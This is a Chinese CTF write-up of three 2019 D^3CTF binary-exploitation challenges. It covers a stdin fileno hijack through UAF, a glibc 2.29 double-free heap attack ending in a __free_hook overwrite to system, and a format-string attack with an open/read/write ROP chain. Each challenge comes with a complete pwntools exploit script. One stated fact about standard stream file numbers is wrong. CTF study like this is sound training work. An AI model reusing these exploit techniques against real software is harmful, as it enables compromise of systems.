2019-D3CTF部分PWN解题

Summary

ezfile:利用UAF来修改stdin的fileno为3,然后再栈溢出控制rdi为.flag然后返回到open fd的位置。这个时候将.flag的内容做为名字输入再打印出来。就可以泄露flag了。注意改到stdin位置和栈地址都需要爆破一位(1/16*16)

new_heap:2.29 double free,利用没有setbuf(stdin)的漏洞,getchar来分配大chunk触发consolidation,来进行overlapping、UAF,io leak libc地址,改hook来getshell

unprintbleV:关闭了输出流,格式化字符串。两种方法:第一种方法利用格式化字符串改bss中stdout为stderr。第二种方法利用格式化字符串改stdout中fileno为2。leak libc写入one_gadget

0x01 ezfile

查看文件

首先想到是不是跟栈溢出会有点关系,毕竟 canary没开嘛。

IDA分析

前面有些别的操作,比如开沙箱,然后open一个文件。我们看沙箱知道只能读出flag了。
继续看功能:

删除功能:(UAF)

创建功能:

加密功能:(栈溢出)

思路

这里需要普及一下知识:

当程序运行:stderr的fileno为0,stdin的fileno是1,stdout的fileno是2。那么再open一个fd,它的fileno就是3.(再分配就继续加一),那么当我们伪造stdin的fileno为3的时候,也就是我们将要打开的文件时,他就会误将这个文件的内容作为输入。

通过调试我们看到栈溢出数据可以构造来控制rdi寄存器,以及返回地址。

在看这里我们可以将ret改到这里,以此来打印出flag。
知道这些那么就有思路:先利用UAF来修改stdin的fileno为3,然后再栈溢出控制rdi为.flag然后返回到open fd的位置。这个时候将.flag的内容做为名字输入再打印出来。就可以泄露flag了。注意改到stdin位置和栈地址都需要爆破一位(1/16*16)

exp

# decode = utf-8
from pwn import *
context.log_level = "debug"

p = process("./ezfile")
libc = ELF("./libc.so.6")
elf = ELF("./ezfile")

def create(size, content):
    p.sendlineafter('>>', '1')
    p.sendlineafter('>>', str(size))
    p.sendafter('>>', content)

def delete(index):
    p.sendlineafter('>>', '2')
    p.sendlineafter('>>', str(index))

p.sendafter("name: ","a"*0x10+"\n")

# 第一步控制fd来改fileno,这里有个技巧是通过fastbin分配后其它chunk进入tcache的特点来劫持的。
create(0x10,p64(0)+p64(0x21))
for i in range(6):
    create(0x10,"\n")
for i in range(7):
    delete(0)
delete(1)
create(0x1,"\x80")
create(0x1,"\n")
create(0x9,p64(0)+"\xa1")
for i in range(8):
    delete(1)
delete(9)
create(0x12,p64(0)+p64(0x21)+"\x60\xfa")  # 注意这里不能改为0x70,因为最后会导致运行的时候更新tcache链时溢出,破环ebp数据,由于在fastbin是0x60去tcache后会加上头部的0x10
# gdb.attach(p)
create(0x18,"aaaa\n")
create(1,p8(0x3))

# 改返回地址和rdi数据
p.sendlineafter('>>', '3')
p.sendlineafter('>>', '0') # O_RDONLY
# gdb.attach(sh,"b *0x5555555550c0")
payload = './flag'.ljust(0x68, '\x00') + p16(0x14c + 5 * 0x1000)
# payload = 'flag\0'.ljust(0x68, '\0') + '\x4c\x51'

gdb.attach(p,"b *0x5555555550c0")
p.sendlineafter('>', str(len(payload)))
p.sendafter('>>', payload)
# create(8,p64(3))

# gdb.attach(p)
p.interactive()

0x02 new_heap

查看文件

libc 2.29

IDA分析

主程序:

func函数:

这里看到stdin没有 setbuf,具体原因我们会在后面说明。但是紧接着后面malloc了一个0x1000的chunk。之前做题的第一反应是可以leak libc,但是并不是这样的。。。。 后面还输出了这个chunk的倒数第二位值

create函数:

第一个条件:size是fastbin的阈值以内。第二:最多18个chunk

delete函数:

终于看到漏洞了:Double free。

逻辑非常简单,那么利用思路就会极其复杂,这已经是常态了。

考察点:在没有生成大于fastbin chunk的条件下,利用malloc_consolidation进行创造出大 chunk。在UAF的条件下控制tcache的头和tcache的链。

思路

思路就是:
1.先分配出足够多的chunk再删除放到fastbin中,再利用malloc_consolidation进行合并操作 放到unsorted bin之中。
2.通过没有关闭缓冲区的漏洞来触发分配大chunk给输出缓冲区。
利用这个大chunk分配一个比之前大的chunk修改数据利用UAF,进行overlapping控制list,io file attack来leak libc。
再利用输出倒数第二位chunk地址来劫持tcache header(因为再进行tcahe list control的过程中已经弄坏了tcache list了,所以最后 修改hook的时候需要再利用tcache 0x250的header来切除chunk控制list)

步骤

步骤一:填满tcache并释放两个chunk到fastbin

for i in range(9):
    create(0x58,"a"*8)
for i in range(2,9):
    delete(i)
delete(0)
delete(1)

步骤二:利用malloc_consolidation来合并两个chunk,分配之前tcache已经满的size chunk,将这个覆盖了的chunk释放到tcache中,分配0x78的chunk,覆盖掉刚刚 释放再tcache中的chunk的fd数据

1.利用malloc_consoilidation来合并fastbin中的chunk

p.recvuntil("exit\n")
p.sendline("3")
p.recvuntil("sure?\n")
p.sendline("n\n")

2.分配一个0x60的chunk,为了将第二个fastbin释放到tcache中,为了后来的覆盖数据来控制tcache list

create(0x58,"a"*8)
delete(1)

现在tcache中唯一的一个0x2c0的chunk是我们要修改fd的chunk

3.分配0x80,由于tcache中没有,回到fastbin中找也没有,再到unsorted bin中找也是空的,所以再smallbin中找到并切分

create(0x78,"a"*0x58+p64(0x41)+"\x10"+chr(heap_last_address-2))
{% asset_img 15.png %}
fd已经是tcache header的位置了。 4.将且完后剩余的0x40的chunk从unsorted bin回到small bin中去。同时分配出图中那个chunk,修改fd指向stdout。
{% asset_img 16.png %}
```python create(0x78,"shinnosuke") create(0x58,p64(0)*3+p64(0x41)+"\x60\x37") ```
{% asset_img 17.png %}
4.删除掉已经修改掉size为0x40的chunk(那么tcache中就有这个chunk的address了,那么再控制tcache header的时候修改0x40的链的chunk地址为下面+0x20的地址,那么刚好就可以构造一个tcache list里面有个地址是stdout的地址,就可以创建到stdout的地址了) 这里的难点就是注意要将tcache 0x250的链的number设置为7,这样我们后面在free 0x250的时候就直接进入unsorted bin中了,就可以接下来的切除继续控制list操作 ```python delete(1) create(0x58,p64(0x0000000000020000)+p64(0)*3 + p64(0x7000000) + p64(0)*5+"\xe0"+chr(heap_last_address)) ```
{% asset_img 18.png %}

修改后:

{% asset_img 19.png %}
5.io_file泄露libc地址 ```python create(0x30,"/bin/sh\x00") create(0x30,p64(0xfbad1800)+p64(0)*3+"\x00") p.recv(8) p.recv(8) offset__IO_stdfile_2_lock= 0x1e7570 libc.address = u64(p.recv(6).ljust(8,"\x00")) - offset__IO_stdfile_2_lock print "libc address: ",hex(libc.address) ``` 步骤三:删除这个0x250的chunk进入unsorted bin之中,为什么之前已经讲过. 然后在对应的位置写入free_hook的地址,再malloc写入system就可以了 ```python delete(13) create(0x68,p64(0x0000000000000001)+p64(0)*7+p64(libc.symbols["__free_hook"])) create(0x18,p64(libc.symbols["system"])) delete(14) ```

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
binary_name = 'new_heap'

p = process("./new_heap")
elf = ELF("./new_heap")
# libc = ELF("./libc.so.6")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")

def create(sz,con):
    p.sendlineafter('3.','1')
    p.sendlineafter('size',str(sz))
    p.sendafter('content',con)

def delete(idx):
    p.sendlineafter('3.','2')
    p.sendlineafter('index',str(idx))

p.recvuntil('good present for African friends:')
heap_last_address = int(p.recvline()[:-1],16)

for i in range(9):
    create(0x58,"a"*8)

for i in range(2,9):
    delete(i)

delete(0)  // 多余的两个chunk进入fastbin
delete(1)
p.recvuntil("exit\n")
p.sendline("3")
p.recvuntil("sure?\n")
p.sendline("n\n")  // malloc_consolidation合并两个fastbin进入small bin中 
create(0x58,"a"*8) // 为释放进第二个fastbinchunk进入tcache腾出位置
delete(1)          //  释放第二个chunk进入tcache,为了后面分配大chunk的控制list
create(0x78,"a"*0x58+p64(0x41)+"\x10"+chr(heap_last_address-2))  # 控制list
create(0x78,"shinnosuke")                                        # 为了将这个剩余的0x40 chunk归类到smallbin中
create(0x58,p64(0)*3+p64(0x41)+"\x60\x37")                       # 为了修改fd为stdout位置

delete(1)                                                        # 将这个0x40的chunk释放到tcache中,其实在这个位置+0x20的位置就是fd为stdout的chunk,我们在后面会在tcache header中修改
create(0x58,p64(0x0000000000020000)+p64(0)*3 + p64(0x7000000) + p64(0)*5+"\xe0"+chr(heap_last_address)) # 修改fd为tcache header,这里还要将tcache 0x250的list的number设置为7,为了再一次利用header来控制tcache list
create(0x30,"/bin/sh\x00")
create(0x30,p64(0xfbad1800)+p64(0)*3+"\x00")
p.recv(8)
p.recv(8)
offset__IO_stdfile_2_lock= 0x1e7570
libc.address = u64(p.recv(6).ljust(8,"\x00")) - offset__IO_stdfile_2_lock
print "libc address: ",hex(libc.address)
delete(13)
create(0x68,p64(0x0000000000000001)+p64(0)*7+p64(libc.symbols["__free_hook"]))
create(0x18,p64(libc.symbols["system"]))
delete(14)

# gdb.attach(p)

p.interactive()

0x03 unprintbleV

查看文件

IDA分析

main函数中:

有定义的规则,我们用工具看看是什么规则:
看到禁用了system,那么思路就是读取的方式了。

查看menu函数:

注意关闭了输出流:close(1)

查看vuln函数:

程序逻辑如下:

题目开始给一个栈地址,同时关闭输出流(也就是说printf等函数无法打印信息)。后面则紧跟一个可以利用64次的格式化字符串漏洞。之前看到过D1CTF的unprintable题目。这道题跟之前题目的思路不一样:前者通过劫持exit函数来进行劫持栈地址进行ROP。这里要考虑如何进行恢复输出流操作。

思路

小trick:这里有两种方法来恢复输出流的操作:
(1).改stdout为stderr(stdout是标准输出流,我们之前关闭的是这个函数。当我们将stdout的值覆盖为stderr时就可以继续输出)

(2)可以改stdout的fileno为2(标准输出应该是2,但是close(1)后就等于 1了)
在解题过程中,我们使用的是第一种方法。

步骤

步骤一:首先利用格式化字符串改掉stdout为stderr

p.recvuntil("gift: 0x")
buf_stack = int(p.recv(12),16)
print hex(buf_stack)
count = 0x64
index = buf_stack&0xff
payload =  "%"+str(int(index))+"c%6$hhn"
sendInfo(payload)
payload = "%32c%10$hhn"
sendInfo(payload)
payload = "%1664c%9$hn"
sendInfo(payload)

步骤二:可以输出后就泄露libc地址和程序基址

payload = "%7$p"
sendInfo(payload)
p.recvuntil("0x")
base_addr = int(p.recv(12),16)-0xafb
print hex(base_addr)
payload = "%15$p"
# gdb.attach(p,"b *0x555555554a20")
sendInfo(payload)
p.recvuntil("0x")
libc_addr = int(p.recv(12),16)-231-libc.symbols["__libc_start_main"]
libc.address = libc_addr

步骤三:修改返回地址,劫持栈

set_value(base_addr+0x850,index+0x10,2)
set_value(base_addr+0x202080,index+0x18,6)
set_value(base_addr+0x9f8,index+0x20,6)

步骤四:准备ROP(open、read、write来泄露出flag)注意:本来之前想用mprotect的方式来搞,但是由于最后gets的时候应该是由于stdout改变了会报错,然后用read读取shellcode,但是由于最后输入输出流关闭了无法读入shellcode,遂放弃。

# open
rop =p64(0)
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(base_addr+0x202070)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.symbols['open'])
# read
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(1)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["read"])
# write
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(2)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["write"])

exp

# decode=utf-8
from pwn import *
context.log_level = "debug"
context.arch = "amd64"

p = process("./unprintableV")
elf = ELF("./unprintableV")
libc = ELF("./libc.so.6")

def sendInfo(payload):
    global  count
    p.send(payload.ljust(300,"\x00"))
    sleep(0.1)
    count = count-1

def set_value(c1,index_,n):
    for i in range(n):
        payload ='%'+str(int(index_+i))+'d%6$hhn'
        sendInfo(payload)
        one_gadget1 = ((c1)>>(i*8))&0xff
        payload = "%"+str(one_gadget1)+"d%10$hhn"
        sendInfo(payload)

p.recvuntil("gift: 0x")
buf_stack = int(p.recv(12),16)
print hex(buf_stack)
count = 0x64
index = buf_stack&0xff
payload =  "%"+str(int(index))+"c%6$hhn"
sendInfo(payload)
payload = "%32c%10$hhn"
sendInfo(payload)
payload = "%1664c%9$hn"
sendInfo(payload)

payload = "%7$p"
sendInfo(payload)
p.recvuntil("0x")
base_addr = int(p.recv(12),16)-0xafb
print hex(base_addr)

payload = "%15$p"
# gdb.attach(p,"b *0x555555554a20")
sendInfo(payload)
p.recvuntil("0x")
libc_addr = int(p.recv(12),16)-231-libc.symbols["__libc_start_main"]
libc.address = libc_addr
# open
rop =p64(0)
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(base_addr+0x202070)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.symbols['open'])
# read
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(1)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["read"])
# write
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(2)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["write"])
set_value(base_addr+0x850,index+0x10,2)
set_value(base_addr+0x202080,index+0x18,6)
set_value(base_addr+0x9f8,index+0x20,6)

print len(rop)
sleep(1)
payload="d^3CTF"
payload=payload.ljust(0x10,'\x00')
payload+="flag"
payload=payload.ljust(0x20,'\x00')
payload=payload+rop
sendInfo(payload)
p.interactive()

  Reprint policy: xiaoxin 2019-D3CTF部分PWN解题

 Previous
ARM-PWN解题汇总(一) ARM-PWN解题汇总(一)
总结一下做的ARM题 0x00 概述HelloArm:64位栈溢出CSU读flagHelloArmShell:64位栈溢出CSU leak libc地址,读入system函数地址和/bin/sh,执行system(“/bin/sh”)201
2020-10-21
Next 
2020-N1CTF部分PWN解题 2020-N1CTF部分PWN解题
前言tag:hijacking tcache_perthread_struct、libc 2.31、C++、 easywrite是2.31题目,改掉vmmap的地址中 tcache_perthread_struct地址为我们可控内存,写fr
2020-10-20
  TOC